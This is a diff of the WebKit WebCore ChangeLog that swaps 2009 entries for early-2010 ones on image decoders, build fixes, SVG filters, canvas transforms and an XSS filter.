-        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
-        (WebCore::BMPImageDecoder::BMPImageDecoder):
-        (WebCore::BMPImageDecoder::setData):
-        (WebCore::BMPImageDecoder::isSizeAvailable):
-        (WebCore::BMPImageDecoder::frameBufferAtIndex):
-        (WebCore::BMPImageDecoder::decodeWithCheckForDataEnded):
-        (WebCore::BMPImageDecoder::decode):
-        (WebCore::BMPImageDecoder::processFileHeader):
-        * platform/image-decoders/bmp/BMPImageDecoder.h:
-        (WebCore::BMPImageDecoder::readUint32):
-        * platform/image-decoders/bmp/BMPImageReader.cpp:
-        (WebCore::BMPImageReader::BMPImageReader):
-        (WebCore::BMPImageReader::decodeBMP):
-        (WebCore::BMPImageReader::readInfoHeaderSize):
-        (WebCore::BMPImageReader::processInfoHeader):
-        (WebCore::BMPImageReader::readInfoHeader):
-        (WebCore::BMPImageReader::processBitmasks):
-        (WebCore::BMPImageReader::processColorTable):
-        (WebCore::BMPImageReader::processRLEData):
-        (WebCore::BMPImageReader::processNonRLEData):
-        (WebCore::BMPImageReader::setFailed):
-        * platform/image-decoders/bmp/BMPImageReader.h:
-        (WebCore::BMPImageReader::readUint16):
-        (WebCore::BMPImageReader::readUint32):
-        (WebCore::BMPImageReader::setBuffer):
-        (WebCore::BMPImageReader::setData):
-        (WebCore::BMPImageReader::):
-        (WebCore::BMPImageReader::pastEndOfImage):
-        (WebCore::BMPImageReader::readCurrentPixel):
-        (WebCore::BMPImageReader::setRGBA):
-        * platform/image-decoders/ico/ICOImageDecoder.cpp:
-        (WebCore::ICOImageDecoder::ICOImageDecoder):
-        (WebCore::ICOImageDecoder::setData):
-        (WebCore::ICOImageDecoder::isSizeAvailable):
-        (WebCore::ICOImageDecoder::size):
-        (WebCore::ICOImageDecoder::frameBufferAtIndex):
-        (WebCore::ICOImageDecoder::decodeWithCheckForDataEnded):
-        (WebCore::ICOImageDecoder::decode):
-        (WebCore::ICOImageDecoder::processDirectory):
-        (WebCore::ICOImageDecoder::processDirectoryEntries):
-        (WebCore::ICOImageDecoder::readDirectoryEntry):
-        (WebCore::ICOImageDecoder::processImageType):
-        * platform/image-decoders/ico/ICOImageDecoder.h:
-        (WebCore::ICOImageDecoder::readUint16):
-        (WebCore::ICOImageDecoder::readUint32):
-
-2009-06-19  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26555
-
-        Fix the Chromium canary bot.  Turns out ScriptSourceCode doesn't have
-        the same API in V8 and JSC.
-
-        * WebCore/bindings/js/ScriptController.cpp:
-        * WebCore/bindings/js/ScriptSourceCode.h:
-        * WebCore/bindings/v8/ScriptController.cpp:
-        * WebCore/page/XSSAuditor.cpp:
-        * WebCore/page/XSSAuditor.h:
-
-2009-06-19  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26547
-        
-        Implement the IDL interface for HTMLDataGridColElement.
-
-        * DerivedSources.cpp:
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * html/HTMLAttributeNames.in:
-        * html/HTMLDataGridColElement.cpp: Added.
-        (WebCore::HTMLDataGridColElement::HTMLDataGridColElement):
-        (WebCore::HTMLDataGridColElement::label):
-        (WebCore::HTMLDataGridColElement::setLabel):
-        (WebCore::HTMLDataGridColElement::type):
-        (WebCore::HTMLDataGridColElement::setType):
-        (WebCore::HTMLDataGridColElement::sortable):
-        (WebCore::HTMLDataGridColElement::setSortable):
-        (WebCore::HTMLDataGridColElement::sortDirection):
-        (WebCore::HTMLDataGridColElement::setSortDirection):
-        (WebCore::HTMLDataGridColElement::selected):
-        (WebCore::HTMLDataGridColElement::setSelected):
-        * html/HTMLDataGridColElement.h: Added.
-        (WebCore::HTMLDataGridColElement::endTagRequirement):
-        (WebCore::HTMLDataGridColElement::tagPriority):
-        * html/HTMLDataGridColElement.idl: Added.
-        * html/HTMLDataGridElement.h:
-        * html/HTMLElementsAllInOne.cpp:
-        * html/HTMLTagNames.in:
-        * page/DOMWindow.idl:
-
-2009-06-19  Chris Evans  <scarybeasts@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        There is no new test because this cannot be tested deterministically.
-        I've not been able to cause a crash at all in the test framework, but
-        I have verified that this is happening in the wild and that the patch
-        fixes the likely cause in the debugger.
-
-        * loader/TextResourceDecoder.cpp: careful not to iterate off the end
-          of our input buffer looking for the end of the comment.
-
-2009-06-19  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26536
-
-        Fix external-script-URL-location.html and
-        write-external-script-open.html LayoutTests.
-
-        implicitOpen is called from several places.  We need to setXSSAuditor
-        each time, so I moved the call inside implicitOpen.
-
-        * dom/Document.cpp:
-        (WebCore::Document::open):
-        (WebCore::Document::implicitOpen):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::begin):
-
-2009-06-19  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by David Levin.
-
-        Use WebCore::multipleFileUploadText() in Chromium to fix a problem
-        that Chromium shows only the first filename even if a user selects
-        multiple files for <input type=file multiple>.
-        <https://bugs.webkit.org/show_bug.cgi?id=26502>
-
-        * platform/chromium/FileChooserChromium.cpp:
-        (WebCore::FileChooser::basenameForWidth):
-
-2009-06-19  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Dave Hyatt.
+        Fix valueAsNumber calculation for type=month.
+        https://bugs.webkit.org/show_bug.cgi?id=34304
 
-        - fix <rdar://problem/6967596> Safari hung using 100% CPU when I tried
-          to look up a word in Dictionary using command-control-d
+        valueAsNumber calculation for type=month which was checked in as
+        r53893 was the number of milliseconds since UNIX epoch, and it was
+        wrong. The correct way is the number months since UNIX epoch.
 
-        Test: editing/selection/move-by-line-005.html
-
-        The root cause of this bug was searchAheadForBetterMatch() continuing
-        past the first rendered text object after the given object. While we
-        want to skip non-rendered text and empty containers, when we encounter
-        rendered text object, we must return a text box for that object.
-
-        * dom/Position.cpp:
-        (WebCore::searchAheadForBetterMatch):
-
-2009-06-19  Jungshik Shin  <jshin@chromium.org>
-
-        Reviewed by David Levin
-
-        https://bugs.webkit.org/show_bug.cgi?id=25657
+        * html/DateComponents.cpp:
+        (WebCore::DateComponents::setMonthsSinceEpoch):
+        (WebCore::DateComponents::monthsSinceEpoch):
+        * html/DateComponents.h: Declare setMonthsSinceEpoch() and monthsSinceEpoch().
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::parseToDouble):
+          Switch to monthsSinceEpoch() for type=MONTH.
+        (WebCore::HTMLInputElement::valueAsDate):
+          Add code with millisecondsSinceEpoch() for MONTH because
+          parseToDouble() changed its behavior.
+        (WebCore::HTMLInputElement::setValueAsNumber):
+          Use setMonthsSinceEpoch() for MONTH.
 
-        Chromium Linux port does not handle non-BMP characters properly.
-        It's fixed with a 'UTF-16 iterator macro' to extract Unicode
-        codepoints out of a UTF-16 input string.
+2010-01-31  Dan Bernstein  <mitz@apple.com>
 
-        A manual test is added for non-BMP character rendering,
-        which we can use until a small freely-distributable font
-        covering non-BMP is added to the Webkit source tree.
+        Reviewed by Timothy Hatcher.
 
+        Web Inspector: REGRESSION: Numbers in bubbles are vertically off-center
+        https://bugs.webkit.org/show_bug.cgi?id=34398
 
-        * platform/graphics/chromium/FontCacheLinux.cpp:
-        (WebCore::FontCache::getFontDataForCharacters):
-        * manual-tests/non-bmp.html: Added.
+        * inspector/front-end/inspector.css: Specify line-height: normal for
+        ".console-message .bubble" and ".sidebar-tree-item .status .bubble".
 
-2009-06-19  Pavel Feldman  <pfeldman@chromium.org>
+2010-01-28  Ojan Vafai  <ojan@chromium.org>
 
-        Reviewed by Dimitri Glazkov.
+        Reviewed by Darin Adler.
 
-        V8 Bindings: return proper state from the script stack.
+        Implement CSSOM Range.getClientRects for collapsed selections
+        https://bugs.webkit.org/show_bug.cgi?id=34239
 
-        https://bugs.webkit.org/show_bug.cgi?id=26512
+        When getting the quads for a range on a text node, allow returning
+        zero width quads. This leaves the case of collapsed selections inside
+        elements still not fixed, but no worse.
 
-        * bindings/v8/ScriptCallStack.cpp:
-        (WebCore::ScriptCallStack::ScriptCallStack):
-        * bindings/v8/ScriptCallStack.h:
-        (WebCore::ScriptCallStack::state):
+        * rendering/InlineTextBox.cpp:
+        (WebCore::InlineTextBox::selectionRect):
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::absoluteQuadsForRange):
 
-2009-06-19  Jessie Berlin  <jberlin@apple.com>
+2010-01-31  Oliver Hunt  <oliver@apple.com>
 
         Reviewed by Simon Fraser.
 
-        Windows build fix.
-        
-        * platform/graphics/cg/PatternCG.cpp:
-        (WebCore::Pattern::createPlatformPattern):
-
-2009-06-19  Yael Aharon  <yael.aharon@nokia.com>
-
-        Reviewed by Simon Hausmann.
-        Build fix after 44825.
-
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::isSizeAvailable):
-        * platform/graphics/qt/ImageDecoderQt.h:
-
-2009-06-18  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by Oliver Hunt.
-
-        Bug 26426: Canvas: rotation of 'no-repeat' pattern is weird
-        <https://bugs.webkit.org/show_bug.cgi?id=26426>
-
-        Use 1<<23-1 as steps of no-repeat patterns instead of 100000000.0f.
-        The original number cannot be represented by mantissa of float
-        (23bit) so that it caused some error.
-
-        Test: fast/canvas/image-object-in-canvas.html:
-
-        * platform/graphics/cg/PatternCG.cpp:
-        (WebCore::Pattern::createPlatformPattern):
-
-2009-06-19  Adam Barth  <abarth@webkit.org>
+        Animated scaling of background-image is too slow
+        https://bugs.webkit.org/show_bug.cgi?id=33808
 
-        Unreviewed attempt to fix the Chromium build.
+        Implement a version of the RenderImage animated scaling optimisation
+        for background images. Due to the possibility of arbitrary transforms
+        being applied to containing elements we explicitly check the current
+        CTM of the context for scaling or rotation.
 
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::ScriptController):
-        (WebCore::ScriptController::evaluate):
-        * bindings/v8/ScriptController.h:
-        (WebCore::ScriptController::xssAuditor):
-        * bindings/v8/ScriptEventListener.cpp:
-        (WebCore::createAttributeEventListener):
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::drawTiledImage):
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/transforms/TransformationMatrix.h:
+        (WebCore::TransformationMatrix::isIdentityOrTranslation):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelScaleData::RenderBoxModelScaleData):
+        (WebCore::RenderBoxModelScaleData::~RenderBoxModelScaleData):
+        (WebCore::RenderBoxModelScaleData::hiqhQualityRepaintTimer):
+        (WebCore::RenderBoxModelScaleData::size):
+        (WebCore::RenderBoxModelScaleData::setSize):
+        (WebCore::RenderBoxModelScaleData::lastPaintTime):
+        (WebCore::RenderBoxModelScaleData::setLastPaintTime):
+        (WebCore::RenderBoxModelScaleData::useLowQualityScale):
+        (WebCore::RenderBoxModelScaleData::transform):
+        (WebCore::RenderBoxModelScaleData::setTransform):
+        (WebCore::RenderBoxModelScaleData::setUseLowQualityScale):
+        (WebCore::RenderBoxModelScaleObserver::boxModelObjectDestroyed):
+        (WebCore::RenderBoxModelScaleObserver::highQualityRepaintTimerFired):
+        (WebCore::RenderBoxModelScaleObserver::shouldPaintBackgroundAtLowQuality):
+        (WebCore::RenderBoxModelObject::highQualityRepaintTimerFired):
+        (WebCore::RenderBoxModelObject::~RenderBoxModelObject):
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        * rendering/RenderBoxModelObject.h:
 
-2009-06-18  Adam Barth  <abarth@webkit.org>
+2010-01-31  Dirk Schulze  <krit@webkit.org>
 
-        Reviewed by Sam Weinig.
+        Reviewed by Simon Fraser.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26199
+        Add back an AffineTransform class for use by SVG
+        https://bugs.webkit.org/show_bug.cgi?id=33750
 
-        Added an experimental reflective XSS filter.  The filter is disabled by
-        default.
+        These are the first steps on reimplementing AffineTransform. Unlike
+        the old affine code, this one is platform independent like TransformationMatrix.
+        AffineTransform has the benefit, that it stores just 6 doubles instead of
+        16 in TransformationMatrix. The calculations of transformations are not that
+        complex and can improve the memory usage and speed of SVG.
+        AffineTransform can be used by HTML Canvas3D or SVG, since they are 2D related (at
+        least for the moment).
+        HTML Canvas is the first that makes use of the new AffineTransform. Next patches
+        will introduce the affine code to SVG.
 
-        Test: http/tests/security/xssAuditor/script-tag.html
+        No new tests. The new AffineTransformation code is tested by fast/canvas.
 
+        * Android.mk:
         * GNUmakefile.am:
-        * WebCore.base.exp:
+        * WebCore.gypi:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::ScriptController):
-        (WebCore::ScriptController::evaluate):
-        * bindings/js/ScriptController.h:
-        (WebCore::ScriptController::xssAuditor):
-        * bindings/js/ScriptEventListener.cpp:
-        (WebCore::createAttributeEventListener):
-        * dom/Tokenizer.h:
-        (WebCore::Tokenizer::xssAuditor):
-        (WebCore::Tokenizer::setXSSAuditor):
-        (WebCore::Tokenizer::Tokenizer):
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::scriptHandler):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::begin):
-        (WebCore::FrameLoader::requestObject):
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        (WebCore::Settings::setXSSAuditorEnabled):
-        * page/Settings.h:
-        (WebCore::Settings::xssAuditorEnabled):
-        * page/XSSAuditor.cpp: Added.
-        (WebCore::isControlCharacter):
-        (WebCore::XSSAuditor::XSSAuditor):
-        (WebCore::XSSAuditor::~XSSAuditor):
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canCreateInlineEventListener):
-        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
-        (WebCore::XSSAuditor::canLoadObject):
-        (WebCore::XSSAuditor::decodeURL):
-        (WebCore::XSSAuditor::findInRequest):
-        * page/XSSAuditor.h: Added.
-        (WebCore::XSSAuditor::isEnabled):
-        (WebCore::XSSAuditor::setXSSAuditorEnabled):
-
-2009-06-18  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        feOffset and objectBoundingBox
-        [https://bugs.webkit.org/show_bug.cgi?id=26441]
-
-        If we use objectBoundingBox for primitiveUnits, the fractions given
-        to dx or dy of feOffset must be multiplied with the referenced objects
-        objectBoundingBox size.
-
-        Test: svg/filters/feOffset.svg
-
-        * svg/graphics/filters/SVGFEOffset.cpp:
-        (WebCore::FEOffset::apply):
-
-2009-06-18  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        feTile implementation missing
-        [https://bugs.webkit.org/show_bug.cgi?id=26419]
-
-        Implementation of feTile, a pattern effect for SVG filters. It was
-        necessary to modify FilterEffect since source inputs need a secial
-        logic and we have to identify if an effect is a source input.
-
-        Tests: svg/batik/filters/feTile.svg
-               svg/filters/feTile.svg
-
-        * platform/graphics/filters/FilterEffect.h:
-        (WebCore::FilterEffect::isSourceInput):
-        * platform/graphics/filters/SourceAlpha.h:
-        (WebCore::SourceAlpha::isSourceInput):
-        * platform/graphics/filters/SourceGraphic.h:
-        (WebCore::SourceGraphic::isSourceInput):
-        * svg/graphics/filters/SVGFETile.cpp:
-        (WebCore::FETile::apply):
-
-2009-06-18  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        feMerge implementation
-        [https://bugs.webkit.org/show_bug.cgi?id=26480]
-
-        Added feMerge to the SVG Filter system.
-
-        Test: svg/filters/feMerge.svg
-
-        * svg/graphics/filters/SVGFEMerge.cpp:
-        (WebCore::FEMerge::uniteChildEffectSubregions):
-        (WebCore::FEMerge::apply):
-        * svg/graphics/filters/SVGFEMerge.h:
-
-2009-06-18  Mark Rowe  <mrowe@apple.com>
-
-        Speculative Windows build fix.
-
-        * page/win/FrameCGWin.cpp: Add missing #include.
-
-2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Dave Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26425
-        Final refactorings, picking up a few places where BitmapInfo
-        could be used.
-
-        * page/win/FrameCGWin.cpp:
-        (WebCore::imageFromRect):
-        * platform/win/CursorWin.cpp:
-        (WebCore::Cursor::Cursor):
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::paint):
-
-2009-06-18  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Bug 26522: In DOM mode, VoiceOver reads some mouseover text on web sites strangely
-        https://bugs.webkit.org/show_bug.cgi?id=26522
-
-        Test: accessibility/non-data-table-cell-title-ui-element.html
-
-        * accessibility/AccessibilityTableCell.cpp:
-        (WebCore::AccessibilityTableCell::titleUIElement):
-
-2009-06-18  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wx build fix after recent RenderTheme changes.
-
-        * platform/wx/RenderThemeWx.cpp:
-        (WebCore::RenderThemeWx::~RenderThemeWx):
-        (WebCore::RenderTheme::themeForPage):
-
-2009-06-18  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26460 part two
-        Attempt to minimize diff of following functional change by first landing
-        non-functional change to:
-        * Make readUintX() public and static (since they will need to be once
-          BMPImageReader is included in *ImageDecoder via composition rather
-          than inheritance).  Add wrappers in each class so callers can be
-          simpler.  In the next patch, these wrappers will be beefed up slightly
-          and the callers will get even simpler.
-        * Change direct setting of m_failed to use setFailed(), since in the
-          next patch much of this code won't even have direct access to m_failed
-        * Add a helper function in ICOImageDecoder to determine the image type
-          instead of simply doing it inline
-        * Rewrap lines that used to be <=80 cols and slipped over it during the
-          original landing of these decoders
-        * Other misc. changes, e.g. adding constructor definitions, reordering
-          functions, changing RGBA32Buffer& to RGBA32Buffer*, etc. that have no
-          functional effect but minimize the subsequent diff for readability
-
-
-        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
-        (WebCore::BMPImageDecoder::BMPImageDecoder):
-        (WebCore::BMPImageDecoder::processFileHeader):
-        * platform/image-decoders/bmp/BMPImageDecoder.h:
-        (WebCore::BMPImageDecoder::readUint32):
-        * platform/image-decoders/bmp/BMPImageReader.cpp:
-        (WebCore::BMPImageReader::decodeBMP):
-        (WebCore::BMPImageReader::getInfoHeaderSize):
-        (WebCore::BMPImageReader::processInfoHeader):
-        (WebCore::BMPImageReader::readInfoHeader):
-        (WebCore::BMPImageReader::processBitmasks):
-        (WebCore::BMPImageReader::processColorTable):
-        (WebCore::BMPImageReader::processRLEData):
-        (WebCore::BMPImageReader::processNonRLEData):
-        * platform/image-decoders/bmp/BMPImageReader.h:
-        (WebCore::BMPImageReader::readUint16Helper):
-        (WebCore::BMPImageReader::readUint32Helper):
-        (WebCore::BMPImageReader::):
-        (WebCore::BMPImageReader::readUint16):
-        (WebCore::BMPImageReader::readUint32):
-        (WebCore::BMPImageReader::readCurrentPixel):
-        (WebCore::BMPImageReader::getComponent):
-        (WebCore::BMPImageReader::setI):
-        (WebCore::BMPImageReader::setRGBA):
-        (WebCore::BMPImageReader::fillRGBA):
-        * platform/image-decoders/ico/ICOImageDecoder.cpp:
-        (WebCore::ICOImageDecoder::ICOImageDecoder):
-        (WebCore::ICOImageDecoder::isSizeAvailable):
-        (WebCore::ICOImageDecoder::size):
-        (WebCore::ICOImageDecoder::decodeImage):
-        (WebCore::ICOImageDecoder::processDirectory):
-        (WebCore::ICOImageDecoder::processDirectoryEntries):
-        (WebCore::ICOImageDecoder::isBetterEntry):
-        (WebCore::ICOImageDecoder::processImageType):
-        * platform/image-decoders/ico/ICOImageDecoder.h:
-        (WebCore::ICOImageDecoder::readUint16):
-        (WebCore::ICOImageDecoder::readUint32):
-
-2009-06-18  Peter Kasting  <pkasting@google.com>
-
-        Fix build bustage.
-
-        * platform/image-decoders/gif/GIFImageDecoder.h:
-
-2009-06-18  Kevin McCullough  <kmccullough@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        <rdar://problem/6940880> REGRESSION: Breakpoints don't break in 64-bit
-
-        Convert intptr_t to Strings so that we don't loose bits in the
-        conversion to JS.  Previously they were being put into 32bit ints.
-
-        * inspector/InspectorController.cpp: Convert the String back to an
-        intptr_t.
-        (WebCore::InspectorController::addBreakpoint):
-        (WebCore::InspectorController::removeBreakpoint):
-        * inspector/InspectorController.h:
-        * inspector/InspectorController.idl: Use strings in JS to avoid 32bit
-        truncation.
-        * inspector/InspectorFrontend.cpp: Make the intptr_t into a String.
-        (WebCore::InspectorFrontend::parsedScriptSource):
-        * platform/text/PlatformString.h: Implemented the necessary conversion
-        functions to be able to convert to and from an intptr_t.
-        * platform/text/String.cpp: Ditto.
-        (WebCore::String::toIntPtrStrict):
-        (WebCore::String::toIntPtr):
-        (WebCore::charactersToIntPtrStrict):
-        (WebCore::charactersToIntPtr):
-        * platform/text/StringImpl.cpp: Ditto.
-        (WebCore::StringImpl::toIntPtrStrict):
-        (WebCore::StringImpl::toIntPtr):
-        * platform/text/StringImpl.h: Ditto.
-
-2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Final cleanups in this refactoring:
-        (1) Move WindowsBitmap implementation from CG-specific file to
-            the platform-common GraphicsContextWin.cpp, since it is
-            equally useful on both platforms.
-        (2) Revise the TransformationMatrix logic as suggested by
-            Adam Roben in his review comments to Part #2 of this
-            refactoring.
-
-        * platform/graphics/win/GraphicsContextCGWin.cpp:
-        * platform/graphics/win/GraphicsContextWin.cpp:
-        (WebCore::GraphicsContext::WindowsBitmap::WindowsBitmap):
-        (WebCore::GraphicsContext::WindowsBitmap::~WindowsBitmap):
-        (WebCore::GraphicsContext::createWindowsBitmap):
-        (WebCore::GraphicsContext::getWindowsContext):
-        (WebCore::GraphicsContextPlatformPrivate::scale):
-        (WebCore::GraphicsContextPlatformPrivate::rotate):
-        (WebCore::GraphicsContextPlatformPrivate::translate):
-        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
-
-2009-06-18  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26460 part one
-        Make isSizeAvailable non-const, since it's not logically const (it
-        triggers lazy decoding), and simplify all the implementations (without
-        changing behavior; just make less verbose).  Remove some other
-        inappropriate consts, which enables the removal of all the mutable
-        declarations in the decoders.
-
-        * platform/image-decoders/ImageDecoder.h:
-        (WebCore::ImageDecoder::isSizeAvailable):
-        (WebCore::ImageDecoder::setSize): Make public to avoid needing a friend declaration in the JPEG decoder, and because the ICO/BMP decoders will soon need this.
-        * platform/image-decoders/gif/GIFImageDecoder.cpp:
-        (WebCore::GIFImageDecoder::isSizeAvailable):
-        (WebCore::GIFImageDecoder::repetitionCount):
-        (WebCore::GIFImageDecoder::decode):
-        * platform/image-decoders/gif/GIFImageDecoder.h:
-        * platform/image-decoders/ico/ICOImageDecoder.cpp:
-        (WebCore::ICOImageDecoder::isSizeAvailable):
-        * platform/image-decoders/ico/ICOImageDecoder.h:
-        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
-        (WebCore::JPEGImageDecoder::isSizeAvailable):
-        (WebCore::JPEGImageDecoder::decode):
-        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
-        * platform/image-decoders/png/PNGImageDecoder.cpp:
-        (WebCore::PNGImageDecoder::isSizeAvailable):
-        (WebCore::PNGImageDecoder::decode):
-        * platform/image-decoders/png/PNGImageDecoder.h:
-        * platform/image-decoders/xbm/XBMImageDecoder.cpp:
-        (WebCore::XBMImageDecoder::isSizeAvailable):
-        (WebCore::XBMImageDecoder::frameBufferAtIndex):
-        (WebCore::XBMImageDecoder::decode):
-        * platform/image-decoders/xbm/XBMImageDecoder.h: Rename decodeXBM() to decode() for consistency with the JPEG/PNG decoders, and in the future the ICO/BMP decoders.
-
-2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        Move some common functions out of platform files and into
-        the common implementation.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26425.
-        Add a new platform context method (flush) so that the
-        getWindowsContext method can be consolidated into the common
-        GraphicsContextWin.cpp file.
-         
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::scale):
+        (WebCore::CanvasRenderingContext2D::rotate):
+        (WebCore::CanvasRenderingContext2D::translate):
+        (WebCore::CanvasRenderingContext2D::transform):
+        (WebCore::CanvasRenderingContext2D::setTransform):
+        (WebCore::CanvasRenderingContext2D::isPointInPath):
+        (WebCore::CanvasRenderingContext2D::willDraw):
+        * html/canvas/CanvasRenderingContext2D.h:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/Path.h:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        (WebCore::GraphicsContext::concatCTM):
         * platform/graphics/cairo/GraphicsContextPlatformPrivateCairo.h:
-        (WebCore::GraphicsContextPlatformPrivate::flush):
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+        * platform/graphics/cairo/PathCairo.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/cairo/TransformationMatrixCairo.cpp:
+        (WebCore::AffineTransform::operator cairo_matrix_t):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::concatCTM):
+        (WebCore::GraphicsContext::getAffineCTM):
         * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
-        (WebCore::GraphicsContextPlatformPrivate::flush):
-        * platform/graphics/win/GraphicsContextCGWin.cpp: Remove
-          getWindowContext method.
-        * platform/graphics/win/GraphicsContextCairoWin.cpp: Remove
-          getWindowContext method and fillWithClearColor methods.
-        * platform/graphics/win/GraphicsContextWin.cpp:
-        (WebCore::fillWithClearColor): Moved from *CairoWin.cpp
-        (WebCore::GraphicsContext::getWindowsContext): Moved
-          from *CairoWin.cpp
-
-2009-06-18  Ojan Vafai  <ojan@chromium.org>
-
-        Reviewed by Oliver Hunt.
-
-        Remove code that I accidentally committed in r44811.
-
-        * editing/markup.cpp:
-        (WebCore::createMarkup):
-
-2009-06-18  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        <rdar://problem/6983207> Non-layer content is not re-rendered when transition
-        starts sometimes (with hardware acceleration).
-        
-        When deciding which RenderLayers should be composited, when a layer goes into
-        compositing mode we repaint the old location. However, we did that before
-        we'd looked at all the factors that may force a layer to composite, so missed
-        some cases. Fix by doing the repaint once we really know whether it's going
-        to composite.
-
-        Test: compositing/repaint/become-overlay-composited-layer.html
-
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-
-2009-06-18  Simon Fraser  <simon.fraser@apple.com>
-
-        Fix the Leopard build where USE(ACCELERATED_COMPOSITING) is not defined, and
-        the Tiger build where QTMovieLayer does not exist.
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::createQTMovieLayer):
-        (WebCore::MediaPlayerPrivate::destroyQTMovieLayer):
-        (WebCore::MediaPlayerPrivate::currentRenderingMode):
-        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
-        (WebCore::MediaPlayerPrivate::tearDownVideoRendering):
-        (WebCore::MediaPlayerPrivate::hasSetUpVideoRendering):
-
-2009-06-18  Simon Fraser  <simon.fraser@apple.com>
-
-        Fix the Leopard build where USE(ACCELERATED_COMPOSITING) is not defined.
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::currentRenderingMode):
-        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
-        (WebCore::MediaPlayerPrivate::tearDownVideoRendering):
-
-2009-06-17  Erik Arvidsson  <arv@chromium.org>
-
-        Reviewed by Adele Peterson.
-
-        https://bugs.webkit.org/show_bug.cgi?id=15189
-        Adds the HTML5 input event support for textarea.
-        
-        Also, moves the oninput attribute parse handling to HTMLElement so that
-        it can be set on any HTML element so that bubbling events can be handled
-        using HTML attribute handlers.
-
-        Test: fast/forms/textarea-input-event.html
-
-        * html/HTMLElement.cpp:
-        (WebCore::HTMLElement::parseMappedAttribute):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::parseMappedAttribute):
-        * rendering/RenderTextControlMultiLine.cpp:
-        (WebCore::RenderTextControlMultiLine::subtreeHasChanged):
-
-2009-06-18  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        Share code between filterEffects
-        [https://bugs.webkit.org/show_bug.cgi?id=26479]
-
-        Share more code of filter effects. The imageBuffer creation can move to
-        FilterEffect ant every effect asks for the GraphicsContext. Move the
-        drawingRect calculation to FilterEffect.
-
-        * platform/graphics/filters/FilterEffect.cpp:
-        (WebCore::FilterEffect::calculateDrawingRect):
-        (WebCore::FilterEffect::getEffectContext):
-        * platform/graphics/filters/FilterEffect.h:
-        * platform/graphics/filters/SourceGraphic.cpp:
-        (WebCore::SourceGraphic::apply):
-        * svg/graphics/filters/SVGFEFlood.cpp:
-        (WebCore::FEFlood::apply):
-        * svg/graphics/filters/SVGFEOffset.cpp:
